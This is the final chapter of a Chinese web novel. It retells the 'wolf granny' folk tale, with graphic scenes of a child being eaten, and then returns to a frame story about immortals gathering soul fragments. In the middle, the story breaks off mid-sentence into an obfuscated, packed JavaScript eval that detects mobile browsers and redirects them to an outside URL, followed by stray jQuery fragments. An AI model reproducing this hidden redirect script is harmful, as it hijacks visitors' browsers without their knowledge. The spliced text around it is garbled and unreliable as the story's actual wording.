295. 缝缝补补是结局3

作品:《谁家好仙跑去地府打工

    从前有一座山,山里有一个村,村里最里面的山坳里住着一对夫妻,夫妻两人生了两个女儿。


    姐姐从小和父亲一样,粗鲁不爱干净,妹妹和母亲很像,睿智聪明,又爱干净又爱劳作。


    这座山有点孤僻,出山把打猎来的动物卖掉,一来一回便要花上三天时间。


    这天,夫妻俩临走之前,妻子给远在另一座山头的外婆写了信,让她来照顾姐妹两人,夫妻二人便立即出了门。


    那厢,得了信的外婆,知道深山里有狼,担忧姐妹两人的安全,便立即出发了。


    年幼的女孩,肉又嫩又滑,狼早已垂涎三尺。


    信被送出的那一刻,狼就在外婆来的必经之路蹲守了。


    外婆不曾料想狼会半路劫人,踩进了狼的陷阱,被困在了路上。


    狼尾巴是狼最重要的东西,它们剪掉狼尾巴,就能变幻成人,接上狼尾巴又能变回强壮有力的野狼,在大山里生活。


    这条狼对有老又粗的肉提不起兴致,看了两眼外婆,继续执行一开始的计划。


    剪断自己的狼尾巴,变幻成了外婆的模样,穿着从村里偷回来的衣服,提着外婆给两个外孙女准备的苹果,扭着屁股,捂着怀里的狼尾巴,一拐一拐地向山坳里走去。


    咚咚咚~


    狼外婆掐着嗓子说:快开门呀~我是你们的外婆,我到了。


    妹妹十分警惕,因为那夫妻俩经常告诫她们,深山里有很多吃小孩的狼,而且这些狼还会变成人的模样,专门敲小孩子的门,让她们独自在家的时候,千万不要给陌生人开门。


    妹妹谨慎问道:外婆…今天路上的槐花开了吗?


    狼外婆看见苹果篮子上的一片白花瓣,答复道:开了…开了好多。


    妹妹又问道:阿娘说您那边最近出大太阳,晒不晒啊?


    狼外婆蒙了头,他没有去过隔壁山头,它怎么知道出没出太阳。


    胡乱蒙了一个,它道:好大的太阳,外婆的手都被晒黑了,不信你看看?


    狼外婆把手放到门缝处,妹妹的确瞧见了一双又黑又大的手。


    妹妹转口又说道:可是前两天你回信给阿娘,不是还说天天下雨,麦子都收不上了,怎么你还晒黑了呢?


    狼外婆急忙改口道:的确也下雨了…这段时间,天老爷下的是太阳雨,一边出太阳,一边下雨,收不了麦子,又把人晒得头晕…哎哟~外婆又赶了这么久的路,好妹妹,你快打开门,让外婆进去坐坐。


    妹妹不相信狼外婆的太阳雨说法,不敢开门,又怕是外婆来了,十分纠结的站在门口。


    在屋里等得不耐烦的姐姐,催促道:妹妹,你怎么还不开门让外婆进来?


    嘿嘿一笑,姐姐急急地道:快把门打开吧,也不知道外婆这回带了什么好吃的?阿娘说她会给我们带礼物。


    狼外婆听见姐姐的话,急忙从篮子里拿出一个香甜可口的大苹果,放在门缝处,诱惑道:外婆给你们带了又大又好吃的苹果,我的好姐姐,快给外婆把门打开,外婆的腿都快站折了。


    姐姐听见有苹果,心一喜,不顾妹妹再三阻拦,把门打开了。


    狼外婆见门打开,快速一窜,姐妹俩还没有反应过来,狼外婆就已经坐在了堂屋的竹椅上,跷着腿,一晃一晃地休息了。


    妹妹在看清狼外婆干净没有泥的大脚时,知道大事不好了,心道:椅子上的人不是她们的外婆。


    妹妹询问道:外婆,你说下了太阳雨,你的手晒黑了,为什么你的脚没有泥?


    吃了太多混杂泥土皮毛的肉,后来尝了一口干净的人肉,才知道什么是世间最美味的佳肴。狼外婆想把姐妹俩都吃下肚子,所以没有立刻就直接抓着人解决肚子的饥饿。


    因为它怕吃到了姐姐,跑了妹妹,又怕吃到了妹妹,跑了姐姐,于是,它耐心地回答道:在山路口,用接来的泉水洗干净了。


    姐姐嘴馋苹果,急忙讨好外婆:外婆你和阿娘一样爱干净,我好喜欢外婆啊…我可以先吃一个苹果吗?


    狼外婆把篮子上的布掀开了又盖上,诱惑道:今晚你们谁洗澡洗得最干净,我就让谁和我睡,晚上就给谁吃又香又甜的苹果。


    一次吃两人,太过奢侈,也会把肚皮撑开,它顿了顿,道:不过,你家床太小了,今晚只能有一个人陪外婆睡觉。


    姐姐流着口水,开心道:外婆我一定洗得最干净…


    妹妹怕狼外婆起疑,也假装很想吃苹果,道:外婆…我也会洗得很干净,我也想吃苹果。


    姐姐生气道:我一定比你洗得干净,今晚上苹果是我的!


    狼外婆开心地安慰道:不要急,不要急…你们一个一个的来,都有苹果吃。


    姐姐知道自己平时不爱干净,急忙先去灶房烧水,洗了一遍又一遍。


    妹妹心思细腻,知道这个狼外婆有问题,告诫她姐姐,让她千万不要洗澡,可是姐姐根本不听妹妹建议,只当是妹妹想和她抢今晚上的苹果。


    在姐妹俩洗澡的时候,狼外婆抱着怀里的狼尾巴,偷偷摸摸地朝茅厕的猪圈走了过去,又摸摸索索把怀里的狼尾巴藏进了猪圈的草堆里。


    这一切,被劝解不过姐姐的妹妹全部瞧进了眼里。


    妹妹这下确定了。


    知道大事不妙,这是狼外婆,她想要去找姐姐跑到村子里求救,结果…藏好尾巴的狼外婆等不及,直接找了两姐妹,带回了房间里。


    天越来越黑…


    本来脏兮兮的姐姐洗得皮肤白嫩有光泽,而一向很爱干净的妹妹,在听见狼外婆要见她们两的时候,急忙在墙上摸了两把灰,擦在脸上、手上、身上。


    狼外婆举着手里的苹果,开心说道:我宣布,今晚姐姐先和我睡…妹妹你就睡在门口。


    说罢,狼外婆怕妹妹跑掉,用一根粗绳拴住了妹妹的胳膊,还打了一个死结,并在结上栓了一个大大的铃铛。


    狼外婆要求妹妹在铃铛响的时候,就要叫一声“外婆”,否则,它便要把两姐妹一起接进房里睡。


    闻言,妹妹不敢不从…


    睡在门口,听见铃铛一响,妹妹便大声地叫喊道:外婆,我在!


    第二天,狼外婆给妹妹换了一根绳子,滑溜溜的,拴在妹妹身上,没有结,也没有结口,浑然一体。


    世间,只有缠绕了血缘的东西,才是看不见缺口的牵绊。


    妹妹一眼便瞧出来了,这是肠子变成的绳子。


    这么长,一定是人肠子。


    没有结口,那就只能是狼外婆抽了姐姐的肠子。


    妹妹心头一震,道:我姐姐呢?!!


    狼外婆遮遮掩掩,躲躲避避,最终给了妹妹一个解释,道:姐姐生病了,你年幼体弱,为了避免传染给你,所以把姐姐关在卧室里休息,等她病好了,你们就又可以见面了。


    这段话,两三字一“嗝”,妹妹知晓狼外婆是吃撑了,没有肚子吃她,这才编出了这么一个谎话。


    下午,妹妹看狼外婆嘴里一直嘎嘣脆地嚼个不停,假装好奇地问道:外婆…你在吃什么啊?吃得好香?


    狼外婆开心地说道:我在嚼胡豆瓣,这个太硬了…你还小,吃不下。


    妹妹假装不懂:胡豆瓣?那是什么啊?我可以看看吗?


    狼外婆吃得又香又高兴,把手里剩下的几截胡豆瓣展示出来给妹妹看,道:这种胡豆瓣最香了…


    四四方方,白白脆脆。


    那是人的手指头盖。


    妹妹忍住胃里的翻腾,道:外婆…原来这就是胡豆瓣啊,你慢慢嚼,我有点困先睡一觉。


    狼外婆:嗯…睡醒了,记得洗干净,不要再弄得一身脏兮兮,今晚外婆陪你睡。


    妹妹:嗯…好。


    姐姐被狼外婆吃了…


    妹妹很难受,但阿爹阿娘还不会这么快回来,住在山坳里的他们,村民也经常走不到这里来。


    妹妹知道自己要想等到阿爹阿娘回来,就得拿到猪圈草堆里的狼尾巴,不然她也会和姐姐一样,被狼外婆吃掉。


    天还没黑,突然,天空轰隆隆地打雷。


    狼外婆盖着铺盖,蜷缩在床上,拉着手里的肠子,道:妹妹,在打雷了…快把门关上。


    狼最怕打雷…


    被雷击中,狼就没办法再从人形变回狼身。


    砰——


    妹妹道:关上了…


    老天爷帮她,她终于又知道了狼外婆的一个弱点。


    妹妹今天逃过了一劫…


    第三天,天空依然下着雨,妹妹看狼外婆一直捂着肚子跑茅厕,才知道,狼在听了雷声后,会肚子疼。


    妹妹捂着肚子,道:哎哟~外婆,我也肚子疼,我可不可以去一趟茅厕?


    狼外婆警戒道:我不是给了你一个盆吗?


    妹妹面色痛苦,道:肚子疼,拉臭臭会把身上弄脏,我去茅厕上了厕所就可以散味道。


    狼外婆赞同道:你说的对,今晚你必须得和我一起睡觉了…时间来不及了,你一个人睡觉不安全。


    妹妹假意附和道:嗯…是的,外婆。


    妹妹得偿所愿到了茅厕。


    她悄悄地爬上猪圈,在身上肠子一拉一拉的呼唤下,回应坐在椅子上的狼外婆,道:外婆,我在!


    妹妹在回来的路上,顺手把狼尾巴扔进了鸡圈里。


    做完这一切,妹妹拖着肠子爬上了二楼,咚咚咚地敲着阿爹唱大戏时,用来放「雷电声」的铁板,嘴里还不停呼唤道:外婆…打雷了,又打雷了!你快回屋…


    狼外婆昨天晚上没吃上妹妹,现在又拉了很多次肚子,早就饿得呱呱直叫,顶着雷声,拉着手里的肠子,急急喊道:妹妹,你快回来…


    妹妹并没有回去,道:要下大雨了,我在收衣服。


    狼外婆道:不收衣服了,快和外婆一起去床上躺着。


    妹妹道:外婆,你不是怕打雷吗?你先进屋。


    狼外婆道:你那么小,我不放心,和外婆一起进去。


    妹妹道:外婆…


    狼外婆颤抖着身子爬上了二楼,被妹妹最后一下震耳欲聋的雷声,吓到全身酸软倒在门边,道:快…和外婆一起先躲进柜子里。


    妹妹一边附和,一边掺扶狼外婆爬进柜子。


    狼外婆紧紧抓住妹妹的手没有松,妹妹机智道:外婆,你把手先松开,我进去了,就没人帮你关柜子了。你先藏进去,我等雷停了就给你打开,我就在柜子外面,就在你身边,我们只有一个木板的距离,不会出事。


    狼外婆觉得这样也行,他们之间只有一层木板,它很好出来,道:好…


    妹妹关上柜子后,拿来了三把锁,把柜子锁得结结实实,又拿着铁板


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16930395|171191||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    靠近柜子,疯狂地敲打着。


    狼外婆被震耳欲聋的雷声,吓成了一团软泥…


    在里面浑浑噩噩地躺着,即没有叫妹妹,也没有想出来,只是拉着手里的肠子,得到妹妹在柜子外面的回应后,安心的躺在柜子里。


    这时,那夫妻两也赶了回来。


    见状,男人用斧子斩断了妹妹身上的肠子,狼外婆感觉到手里的绳子突然松了力道,知道出事了,急忙道:今天何月何日?


    男人愤怒地回应,道:今天七月十五日


    狼外婆一开始还没反应过来,扳起手指算了又算,道:放屁!我来时才刚四月…


    男人宣布道:日子没有错,因为,老子今天要叫你提前过七月半!!!


    狼外婆慌了,急忙冲破柜子,浑身是伤,在爸男人的砍刀下慌乱跑向猪圈,草堆里的狼尾巴早就不见了。


    不远处,公鸡兴奋的打鸣声吸引了它。


    在一堆鸡屎里,它找到了那一条早被啃啄得千疮百孔的狼尾巴。


    狼外婆捡起他的尾巴,哭嚎着向外面跑去。


    门外是一群真外婆带来的村民,随即,狼外婆抱着他的狼尾巴被乱棍打死在了村里。


    一片寂静,奈何桥头,忘川河岸,一群仙,一群鬼,围着常遇春,听得津津有味,一溜金光闪入,这群仙,这群鬼,居然都没有发现。


    来人捂嘴咳嗽了两声,一块魂片扑到了隗晎脸颊上。


    隗晎猛地一动。


    在那咳嗽声中,众人这才惊觉回神。


    隗晎一边惊喜地捧下魂片收进爻仁中,一边道:“郤人杰?这是你带来的?”


    郤人杰点点头,歉意道:“不知众位在这里听避「厕谈」,打扰了。”


    溪亖音道:“「厕谈」?郤大人是说刚刚那戏文吗?原来叫这名字。”


    笑了笑,她道:“没想到,人间编故事的能力也这般强了,还挺有趣的,就是小孩子听了,估计会怕得很。”


    郤人杰一顿,道:“「厕谈」本就是大人为了约束稚儿夜间举止,让他们无事不要起夜用的。”


    溪亖音笑容一滞,喃喃道:“啊…”


    郤人杰道:“是有什么问题吗?”


    他左右看了看,众人面容悠悠浮出一片黑色,目光凌厉,有不少视线都直射常遇春而去。


    只这一瞬,他便明白了,多半是常遇春又好心惹糟事了。


    隗晎润了润唇齿,沉声道:“方才你带来的魂片,是从何而来?可也是落笔记事时所出?”


    郤人杰一惊,颔首道:“没错,如帝君所言,是落笔滴墨时忽然出现的。察觉上面有帝君气息,不敢耽搁,上了泰山,得知帝君在此,便立马赶过来了。”


    隗晎道:“使用的笔墨纸可有特殊?”


    郤人杰道:“没有。”


    语气一顿,隗晎下意识瞥了一眼常遇春,呐呐道:“记载的事迹…可有不寻常之处?”


    郤人杰想了想,道:“一处乡镇,一群种地人,虽小,却温馨有德,翻阅其人的地域名册,觉得日后可纳入泰山仙府做差,便想着摘抄下来,禀于帝君,并没有其他异常。”


    隗晎道:“本君知晓了。”


    郤人杰看着此地的一群人,心思一转,猜测道:“可是和上君有关?”


    在得了这三块魂片,以及听闻三人的事情后,隗晎心中早已有了计算,他毫不遮掩,道:“嗯,前两日,在忘川河底,上君魂体碎裂了。”


    小鬼魂碎,被他说得如此轻飘。


    众人虽早就知晓这件事情,却还是在听他亲口讲述后,忍不住一怔,神情黯然。


    郤人杰亦是一震,吃惊道:“那…那上君…还有机会…”


    隗晎环视了一圈众人,望向那尚差一截的奈何桥,希冀道:“忘川河水的另一头是六道,魂片尚在,生机仍存。”


    似在感叹,又似在打趣,他自言自语了一句,道:“你想默默努力,我却有些着急,就让我们伴你走这一程吧…”


    随即,他转头,面向众人,神情肃然,目光认真,以帝君之礼,诚邀道:“笔下现,墨里生,事中出,她会回来。”


    “但如今小鬼身碎,能力太弱,仅凭她自己,怕是很难。”


    “本君即日便会广发「唱书」,望识字之君也能一同收罗天下事,撰记他人命,助一人得新生。”


    -


    “这本故事完了吗?”


    “完了。”


    “那我的右手魂片去下一本找?”


    “嗯,好。”


    “希望下一本落笔的人可别像这女子一样了,太犹豫了,一块魂片,都冒头了,迟迟不挪笔…堪堪到今日才完结。”


    “不会,我偶得了一则事,准备自己来写一本。”


    “啊!你来落笔?!!什么类型的?”


    “一本情爱故事,很好下笔,右手魂片应该能出现,上君…不喜欢吗?”


    “有的选吗?”


    “上君想选其他的?我也可以不写,要不还是去找别人…”


    “等等!!你怎么也跟刚刚那叫七点的女子一样了,犹犹豫豫,畏畏缩缩…且先落笔看看啊,万一呢?万一…你笔下出的魂片更多更大块一些呢?万一一次成了,我就不用再等了呢?”


    “嗯!我先落笔。”


    —完—